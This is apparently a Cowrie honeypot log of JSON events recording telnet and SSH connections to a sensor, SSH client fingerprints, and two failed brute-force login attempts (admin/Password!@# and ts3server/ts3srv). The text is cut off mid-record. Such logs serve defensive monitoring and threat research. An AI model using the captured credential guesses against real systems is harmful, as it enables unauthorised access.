{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38540,"dst_ip":"159.203.135.109","dst_port":23,"session":"c07037d0bd4c","protocol":"telnet","message":"New connection: 51.161.172.108:38540 (159.203.135.109:23) [session: c07037d0bd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:54.198800Z"}
{"eventid":"cowrie.session.closed","duration":30.760706663131714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:54.255842Z","src_ip":"51.161.172.108","session":"709fa2e588bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03264045715332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:54.517397Z","src_ip":"51.161.172.108","session":"508ae0dd45b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":44738,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d38a6940e8","protocol":"telnet","message":"New connection: 173.249.63.118:44738 (10.17.0.5:23) [session: 53d38a6940e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:55.259746Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":44990,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0aa793cafda","protocol":"telnet","message":"New connection: 173.249.63.118:44990 (10.17.0.5:23) [session: e0aa793cafda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:55.548833Z"}
{"eventid":"cowrie.session.closed","duration":31.20093297958374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:55.833539Z","src_ip":"51.161.172.108","session":"139cfa4fcb8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43998,"dst_ip":"10.17.0.5","dst_port":23,"session":"601617d139c7","protocol":"telnet","message":"New connection: 173.249.63.118:43998 (10.17.0.5:23) [session: 601617d139c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:56.154367Z"}
{"eventid":"cowrie.session.closed","duration":31.588135480880737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:56.551498Z","src_ip":"173.249.63.118","session":"af9e4bb99b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814181804656982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:56.757341Z","src_ip":"173.249.63.118","session":"c777dd5b953a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a3fc39aa55","protocol":"telnet","message":"New connection: 173.249.63.118:43938 (10.17.0.5:23) [session: e4a3fc39aa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:57.050889Z"}
{"eventid":"cowrie.session.closed","duration":31.168161392211914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:57.172706Z","src_ip":"51.161.172.108","session":"220d873c1871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46304,"dst_ip":"10.17.0.5","dst_port":23,"session":"329d60572b84","protocol":"telnet","message":"New connection: 173.249.63.118:46304 (10.17.0.5:23) [session: 329d60572b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:57.850253Z"}
{"eventid":"cowrie.session.closed","duration":31.002890825271606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:58.051188Z","src_ip":"173.249.63.118","session":"8b227c6ec9cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23702573776245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:59.282959Z","src_ip":"51.161.172.108","session":"f1e317eb3b96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47206,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb2cdf01139","protocol":"telnet","message":"New connection: 173.249.63.118:47206 (10.17.0.5:23) [session: 4bb2cdf01139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:59.546389Z"}
{"eventid":"cowrie.session.closed","duration":35.79769468307495,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:00.146412Z","src_ip":"173.249.63.118","session":"3efe327606c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48306,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7bddb27e3ca","protocol":"telnet","message":"New connection: 173.249.63.118:48306 (10.17.0.5:23) [session: e7bddb27e3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:00.347408Z"}
{"eventid":"cowrie.session.closed","duration":30.37593960762024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:01.220320Z","src_ip":"51.161.172.108","session":"c63811703f9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6053683757782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:01.560284Z","src_ip":"51.161.172.108","session":"3f92becf08fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48726,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ec6fd999a2","protocol":"telnet","message":"New connection: 173.249.63.118:48726 (10.17.0.5:23) [session: 09ec6fd999a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:02.243625Z"}
{"eventid":"cowrie.session.closed","duration":31.303757667541504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:02.548307Z","src_ip":"173.249.63.118","session":"a7adf2c9ae88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47880,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd846456a453","protocol":"telnet","message":"New connection: 173.249.63.118:47880 (10.17.0.5:23) [session: cd846456a453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:02.554951Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50062,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b97572e0d48","protocol":"telnet","message":"New connection: 173.249.63.118:50062 (10.17.0.5:23) [session: 7b97572e0d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:02.649725Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":49148,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c16824ab0f","protocol":"telnet","message":"New connection: 173.249.63.118:49148 (10.17.0.5:23) [session: 16c16824ab0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:02.949471Z"}
{"eventid":"cowrie.session.closed","duration":31.61162829399109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:03.956046Z","src_ip":"173.249.63.118","session":"3dfe8b5c6802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51166,"dst_ip":"159.203.135.109","dst_port":23,"session":"de9c00d11758","protocol":"telnet","message":"New connection: 51.161.172.108:51166 (159.203.135.109:23) [session: de9c00d11758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:04.073144Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51168,"dst_ip":"159.203.135.109","dst_port":23,"session":"abb570c037ea","protocol":"telnet","message":"New connection: 51.161.172.108:51168 (159.203.135.109:23) [session: abb570c037ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:04.093411Z"}
{"eventid":"cowrie.session.closed","duration":32.05813026428223,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:04.954576Z","src_ip":"51.161.172.108","session":"b48eb14805ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803406715393066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:06.249774Z","src_ip":"173.249.63.118","session":"5b53f6c24d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":54410,"dst_ip":"10.17.0.5","dst_port":23,"session":"a26966939a31","protocol":"telnet","message":"New connection: 173.249.63.118:54410 (10.17.0.5:23) [session: a26966939a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:06.644240Z"}
{"eventid":"cowrie.session.closed","duration":31.500069618225098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:06.953166Z","src_ip":"173.249.63.118","session":"ab3a155392b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.49247431755066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:07.208752Z","src_ip":"167.99.38.72","session":"3c16e012e274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":54128,"dst_ip":"10.17.0.5","dst_port":23,"session":"976726b48cb4","protocol":"telnet","message":"New connection: 173.249.63.118:54128 (10.17.0.5:23) [session: 976726b48cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:07.452299Z"}
{"eventid":"cowrie.session.closed","duration":49.494624853134155,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:07.848928Z","src_ip":"173.249.63.118","session":"e6fc369a9dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22291135787964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:08.659462Z","src_ip":"51.161.172.108","session":"106c7e15b544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55514,"dst_ip":"10.17.0.5","dst_port":23,"session":"05560b3582cc","protocol":"telnet","message":"New connection: 173.249.63.118:55514 (10.17.0.5:23) [session: 05560b3582cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:08.741393Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51176,"dst_ip":"159.203.135.109","dst_port":23,"session":"927175b18994","protocol":"telnet","message":"New connection: 51.161.172.108:51176 (159.203.135.109:23) [session: 927175b18994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:08.855056Z"}
{"eventid":"cowrie.session.closed","duration":31.6784884929657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:09.144857Z","src_ip":"173.249.63.118","session":"83150ba57792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":52024,"dst_ip":"10.17.0.5","dst_port":23,"session":"1905df158306","protocol":"telnet","message":"New connection: 173.249.63.118:52024 (10.17.0.5:23) [session: 1905df158306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:09.755413Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57206,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4de9aa1be0b","protocol":"telnet","message":"New connection: 173.249.63.118:57206 (10.17.0.5:23) [session: e4de9aa1be0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:09.847889Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50914,"dst_ip":"159.203.135.109","dst_port":23,"session":"d35c187f33af","protocol":"telnet","message":"New connection: 51.161.172.108:50914 (159.203.135.109:23) [session: d35c187f33af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:10.066396Z"}
{"eventid":"cowrie.session.closed","duration":31.191468954086304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:10.208812Z","src_ip":"51.161.172.108","session":"8fb9a7a38a65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57628,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6c72d48a6a","protocol":"telnet","message":"New connection: 173.249.63.118:57628 (10.17.0.5:23) [session: 3d6c72d48a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:10.544758Z"}
{"eventid":"cowrie.session.closed","duration":33.39944243431091,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:10.646490Z","src_ip":"173.249.63.118","session":"388f9aaefb6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151655912399292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:11.824703Z","src_ip":"51.161.172.108","session":"56dea8eaecca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79171895980835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:12.449688Z","src_ip":"173.249.63.118","session":"579be61a7a0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.499279499053955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:12.742734Z","src_ip":"173.249.63.118","session":"900e04059a42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57818,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3205f836f0a","protocol":"telnet","message":"New connection: 173.249.63.118:57818 (10.17.0.5:23) [session: b3205f836f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:12.955205Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58534,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed2a8ae3fbf","protocol":"telnet","message":"New connection: 173.249.63.118:58534 (10.17.0.5:23) [session: 2ed2a8ae3fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:13.045348Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":39210,"dst_ip":"10.17.0.5","dst_port":22,"session":"0240397c0e8f","protocol":"ssh","message":"New connection: 160.251.101.169:39210 (10.17.0.5:22) [session: 0240397c0e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:14.749918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:14.757291Z","src_ip":"160.251.101.169","session":"0240397c0e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:14.920475Z","src_ip":"160.251.101.169","session":"0240397c0e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.712706804275513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:15.065406Z","src_ip":"173.249.63.118","session":"7b7fd3b435bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password!@#","message":"login attempt [admin/Password!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:15.579555Z","src_ip":"160.251.101.169","session":"0240397c0e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29860210418701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:15.645699Z","src_ip":"173.249.63.118","session":"e0860bb4b308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":56588,"dst_ip":"10.17.0.5","dst_port":22,"session":"f11c70bbcebe","protocol":"ssh","message":"New connection: 190.108.60.101:56588 (10.17.0.5:22) [session: f11c70bbcebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:15.869891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:15.875594Z","src_ip":"190.108.60.101","session":"f11c70bbcebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:16.079162Z","src_ip":"190.108.60.101","session":"f11c70bbcebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50922,"dst_ip":"159.203.135.109","dst_port":23,"session":"31233341127b","protocol":"telnet","message":"New connection: 51.161.172.108:50922 (159.203.135.109:23) [session: 31233341127b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:16.141073Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":33618,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c18567c9b5","protocol":"telnet","message":"New connection: 173.249.63.118:33618 (10.17.0.5:23) [session: 13c18567c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:16.745450Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:16.751084Z","src_ip":"160.251.101.169","session":"0240397c0e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3srv","message":"login attempt [ts3server/ts3srv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:16.929167Z","src_ip":"190.108.60.101","session":"f11c70bbcebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59490442276001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:17.246292Z","src_ip":"173.249.63.118","session":"3e065cbf3436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582536697387695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:17.280546Z","src_ip":"51.161.172.108","session":"df28802f3a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":34266,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e42ef2ef1be","protocol":"telnet","message":"New connection: 173.249.63.118:34266 (10.17.0.5:23) [session: 3e42ef2ef1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:17.549769Z"}
{"eventid":"cowrie.session.closed","duration":31.015137910842896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:18.060555Z","src_ip":"173.249.63.118","session":"1fc0502820e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:18.135511Z","src_ip":"190.108.60.101","session":"f11c70bbcebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":34854,"dst_ip":"10.17.0.5","dst_port":23,"session":"f78538308ecb","protocol":"telnet","message":"New connection: 173.249.63.118:34854 (10.17.0.5:23) [session: f78538308ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:18.446427Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":35890,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d348889757b","protocol":"ssh","message":"New connection: 221.139.88.149:35890 (10.17.0.5:22) [session: 6d348889757b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:18.500224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:18.504812Z","src_ip":"221.139.88.149","session":"6d348889757b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp